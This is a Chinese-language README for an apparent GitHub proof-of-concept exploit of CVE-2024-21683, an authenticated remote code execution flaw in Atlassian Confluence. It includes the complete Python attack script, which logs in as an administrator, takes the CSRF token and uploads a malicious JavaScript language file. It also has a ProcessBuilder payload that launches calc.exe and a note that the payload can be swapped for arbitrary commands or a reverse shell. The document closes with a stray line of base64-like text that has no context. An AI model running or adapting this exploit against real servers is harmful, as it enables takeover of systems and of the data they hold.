CVE-2024-21683-RCE:Atlassian Confluence 认证后远程代码执行利用工具
本项目提供了一个针对 Atlassian Confluence 中 CVE-2024-21683 漏洞的概念验证(PoC)利用脚本。该漏洞允许已通过身份验证的管理员用户上传恶意的 JavaScript 文件,结合后台功能,最终在服务器上执行任意代码,实现远程代码执行(RCE)。
功能特性
-
自动化利用流程:脚本自动处理登录、获取
atlassian-token、身份验证以及恶意文件上传的完整利用链。 - 灵活的参数配置:支持通过命令行参数指定目标 URL、管理员凭证、代理、恶意 JavaScript 文件名和内容。
- 代理支持:允许通过 HTTP/HTTPS 代理发送请求,方便调试和绕过网络限制。
-
自定义恶意载荷:用户可自由定义
exploit.js文件内容,支持执行任意命令,如启动计算器或反弹 Shell。
安装指南
环境要求
- Python 3.x
-
requests库 -
beautifulsoup4库
安装步骤
-
克隆项目仓库到本地:
git clone https://github.com/W01fh4cker/CVE-2024-21683-RCE cd CVE-2024-21683-RCE -
安装所需的 Python 依赖包:
pip install requests bs4
使用说明
基础用法
使用以下命令格式运行脚本:
python CVE-2024-21683.py -u <目标URL> -au <管理员用户名> -ap <管理员密码> -f <恶意JS文件路径> -n <新语言名称> -p <代理URL>
参数说明
| 参数 | 全称 | 是否必须 | 描述 | 默认值 |
|---|---|---|---|---|
-u |
--url |
是 | 目标 Confluence 服务器的 URL,例如 http://192.168.198.1:8090
|
无 |
-au |
--admin-username |
是 | 属于 Administrators 组的用户用户名 |
无 |
-ap |
--admin-password |
是 | 该管理员的密码 | 无 |
-f |
--file |
否 | 包含恶意 JavaScript 载荷的文件路径 | exploit.js |
-n |
--name |
否 | 上传语言包时使用的名称 | test |
-p |
--proxy |
否 | 代理 URL,例如 http://127.0.0.1:8083
|
http://127.0.0.1:8083 |
典型使用场景
场景一:本地测试,执行计算器
-
创建恶意 JavaScript 文件
exploit.js,内容如下(用于 Windows 系统):new java.lang.ProcessBuilder["(java.lang.String[])"](["calc.exe"]).start() -
运行利用脚本:
python CVE-2024-21683.py -u http://192.168.198.1:8090 -au admin -ap admin -f exploit.js 如果利用成功,目标 Confluence 服务器将会弹出计算器程序。
场景二:通过代理进行调试
当需要观察 HTTP 请求细节或目标无法直接访问时,可以使用代理。
python CVE-2024-21683.py -u http://192.168.198.1:8090 -au admin -ap admin -f exploit.js -p http://127.0.0.1:8083
API 概览
脚本的主要函数及其功能:
-
LoginAsAdministrator(session, url, proxy, username, password): 使用管理员凭证登录 Confluence。 -
GeyAltToken(url, proxy, session): 从页面中提取atlassian-token,用于后续请求的 CSRF 防护。 -
DoAuthenticate(session, url, proxy, password, alt_token): 使用密码和获取到的 token 进行身份验证。 -
UploadEvilJsFile(session, url, proxy, jsFilename, jsFileContent, alt_token): 上传恶意的 JavaScript 文件作为新的语言包。
核心代码
1. 主利用流程 (CVE-2024-21683.py)
import argparse
import os
import requests
from bs4 import BeautifulSoup
def GeyAltToken(url, proxy, session):
"""
从 /admin/plugins/newcode/configure.action 页面获取 atlassian-token。
"""
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"
}
alttoken_url = f"{url}/admin/plugins/newcode/configure.action"
resp = session.get(url=alttoken_url, headers=headers, verify=False, proxies=proxy, timeout=20)
if "atlassian-token" in resp.text:
soup = BeautifulSoup(resp.text, 'html.parser')
meta_tag = soup.find('meta', {'id': 'atlassian-token', 'name': 'atlassian-token'})
if meta_tag:
content_value = meta_tag.get('content')
return content_value
else:
print("Meta tag not found")
def LoginAsAdministrator(session, url, proxy, username, password):
"""
使用管理员账户登录 Confluence。
"""
login_url = url + "/dologin.action"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36",
"Content-Type": "application/x-www-form-urlencoded"
}
data = f"os_username={username}&os_password={password}&login=%E7%99%BB%E5%BD%95&os_destination=%2F"
session.post(url=login_url, headers=headers, data=data, proxies=proxy, verify=False, timeout=20)
def DoAuthenticate(session, url, proxy, password, alt_token):
"""
使用获取到的 token 和密码进行二次身份验证。
"""
login_url = url + "/doauthenticate.action"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36",
"Content-Type": "application/x-www-form-urlencoded"
}
data = f"atl_token={alt_token}&password={password}&authenticate=%E7%A1%AE%E8%AE%A4&destination=/admin/viewgeneralconfig.action"
session.post(url=login_url, headers=headers, data=data, proxies=proxy, verify=False, timeout=20)
def UploadEvilJsFile(session, url, proxy, jsFilename, jsFileContent, alt_token):
"""
上传恶意的 JavaScript 文件作为新的语言包,这是 RCE 的关键步骤。
"""
url = f"{url}/admin/plugins/newcode/addlanguage.action"
data = {
"atl_token": alt_token,
"newLanguageName": "test"
}
files = {
"languageFile": (
jsFilename, jsFileContent, "text/javascript")
}
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"
}
session.post(url, headers=headers, data=data, files=files, verify=False, proxies=proxy, timeout=20)
def ParseArgs():
"""
解析命令行参数。
"""
parser = argparse.ArgumentParser(description="CVE-2024-21683-RCE")
parser.add_argument("-u", "--url", type=str, help="target url to check, eg: http://192.168.198.1:8090", required=True)
parser.add_argument("-p", "--proxy", type=str, default="http://127.0.0.1:8083", help="proxy url, eg: http://127.0.0.1:8083", required=False)
parser.add_argument("-au", "--admin-username", type=str, help="The username of the user who is in the Administrators group", required=True)
parser.add_argument("-ap", "--admin-password", type=str, help="The password of the user who is in the Administrators group", required=True)
parser.add_argument("-f", "--file", type=str, help="exploit file", default="exploit.js", required=True)
parser.add_argument("-n", "--name", type=str, help="newLanguageName", default="test", required=True)
return parser.parse_args()
if __name__ == '__main__':
args = ParseArgs()
if not args.proxy:
proxy = {}
else:
proxy = {
"http": args.proxy,
"https": args.proxy
}
session = requests.session()
jsfn = os.path.basename(args.file)
jsfc = open(args.file, "r", encoding="utf-8").read()
# 1. 登录
LoginAsAdministrator(session, args.url.strip("/"), proxy, args.admin_username, args.admin_password)
# 2. 获取 token
alt_token = GeyAltToken(args.url.strip("/"), proxy, session)
# 3. 进行身份验证
DoAuthenticate(session, args.url.strip("/"), proxy, args.admin_password, alt_token)
# 4. 上传恶意 JS 文件
UploadEvilJsFile(session, args.url.strip("/"), proxy, jsfn, jsfc, alt_token)
2. 恶意载荷示例 (exploit.js)
此文件包含将在目标服务器上执行的 Java 代码。
new java.lang.ProcessBuilder["(java.lang.String[])"](["calc.exe"]).start()
6HFtX5dABrKlqXeO5PUv/6Rph9plQnXdkGBgiaZFcOGeug3BRpLjUa1NjhDrJ3E+